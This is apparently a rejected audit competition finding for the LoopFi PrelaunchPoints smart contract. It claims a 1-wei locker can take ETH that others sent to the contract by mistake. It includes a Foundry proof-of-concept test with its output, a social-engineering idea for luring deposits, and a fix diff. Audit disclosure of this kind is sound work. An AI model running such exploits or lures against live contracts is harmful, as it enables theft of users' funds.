c4-bot-1 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L249 https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L251

Vulnerability details

Impact

In PrelaunchPoints::_claim() the local state variable claimedAmount is computed wrongly using totalLpETH and totalSupply. In case if a malicious actor just locks 1 wei (token is ETH), and if someone sends ETHERS to PrelaunchPoints smart contract by mistake (the chances are high because the ETH liquidity bootstrapping period is for limited time, so there will be a lot of users doing the transactions), then a malicious actor or next immediate claimer can steal those funds, intentionally or unintentionally. This way the ETHERS of the original sender are lost and corresponding converted lpETH tokens are transferred to claimer/attacker who should not be entitled to.

Another way to launch an attack would be to use the LoopFi protocol's name and verified smart contracts found on etherscan. Then, using social engineering, the attacker would lead a group of people to believe that the protocol is legitimate and has undergone audits and would ask them to send ETHERS directly to the PrelaunchPoints smart contract.

If someone by mistake directly sends ETHERS to PrelaunchPoints smart contract, then it is the responsibility of the protocol to handle the funds securely and fairly.

Source

Code:

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        ...
        if (_token == ETH) {
@>          claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
@>          lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
        ...
}

Actual Impact

An attacker can just lock 1 wei and look for anonymous ETHERS deposits and immediately after global conversion can back-run PrelaunchPoints::claim() to steal all the piled up anonymous funds. Another impact is that, a lucky claimer can unintentionally get these funds along with his original funds.

Proof of Concept

forge test --mt test_WY_SomeoneSendETHByMistakeStoleByAttacker -vv

Add below test in PrelaunchPoints.t.sol

Code

function test_WY_SomeoneSendETHByMistakeStoleByAttacker() public {

    // Users lock ETH and LRT
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");

    // Amount of eth to lock
    uint256 ethAmount1 = 10 ether;
    uint256 ethAmount2 = 20 ether;
    vm.deal(user1, ethAmount1);
    vm.deal(user2, ethAmount2);

    // User1 locks 1 wei
    vm.prank(user1);
    prelaunchPoints.lockETH{value: 1}(referral);

    // User2 by mistake sends ethers directly to PrelaunchPoints smart contract
    vm.prank(user2);
    (bool sent, ) = address(prelaunchPoints).call{value: ethAmount2}("");
    require(sent, "eth sent failed");

    // Loop activated
    prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

    // TIMELOCK lapsed
    vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);

    console.log("totalSupply ==> ", prelaunchPoints.totalSupply() / 1e18);

    // All ETH converted
    prelaunchPoints.convertAllETH();

    console.log("totalLpETH ==> ", prelaunchPoints.totalLpETH() / 1e18);
    console.log("Balance of user1 pre-claim ==> ", prelaunchPoints.balances(user1, ETH) / 1e18);
    console.log("Balance of user2 after conversion ==> ", prelaunchPoints.balances(user2, ETH) / 1e18);

    // User 1 claims lpETH tokens, and steals all anonymously piledup lpETH
    vm.warp(prelaunchPoints.startClaimDate() + 1);
    vm.prank(user1);
    prelaunchPoints.claim(ETH, 100, PrelaunchPoints.Exchange.UniswapV3, emptydata);

    console.log("lpETH balance of user1 ==> ", lpETH.balanceOf(user1) / 1e18);

Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[PASS] test_WY_SomeoneSendETHByMistakeStoleByAttacker() (gas: 228710)
Logs:
  totalSupply ==>  0
  totalLpETH ==>  20
  Balance of user1 pre-claim ==>  0
  Balance of user2 after conversion ==>  0
  lpETH balance of user1 ==>  20

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms (354.92µs CPU time)

Ran 1 test suite in 120.56ms (1.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Below changes are required to be done in PrelauncPoints::_claim function.

Diff

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        ...
        if (_token == ETH) {
-          claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
-          lpETH.safeTransfer(_receiver, claimedAmount);
+          lpETH.safeTransfer(_receiver, userStake);
        } else {
        ...
}

Below changes are required to be done in PrelauncPoints::receive callback function.

receive() external payable {
+   _processLock(ETH, msg.value, msg.sender, keccak256("1"));
}

After implementing the PrelaunchPoints::receive function this way, sending of ether directly to PrelaunchPoints will revert if is sent after loopActivation otherwise sent ether will be processed normally using PrelaunchPoints::_processLock function.

Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[PASS] test_WY_SomeoneSendETHByMistakeStoleByAttacker() (gas: 271241)
Logs:
  totalSupply ==>  20
  totalLpETH ==>  20
  Balance of user1 pre-claim ==>  0
  Balance of user2 after conversion ==>  20
  lpETH balance of user1 ==>  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.06ms (1.68ms CPU time)

Assessed type

Other

0xSorryNotSorry commented 5 months ago

Technically valid but a known issue based on user failure

0xSorryNotSorry commented 5 months ago

@howlbot reject

m-waqas88 commented 4 months ago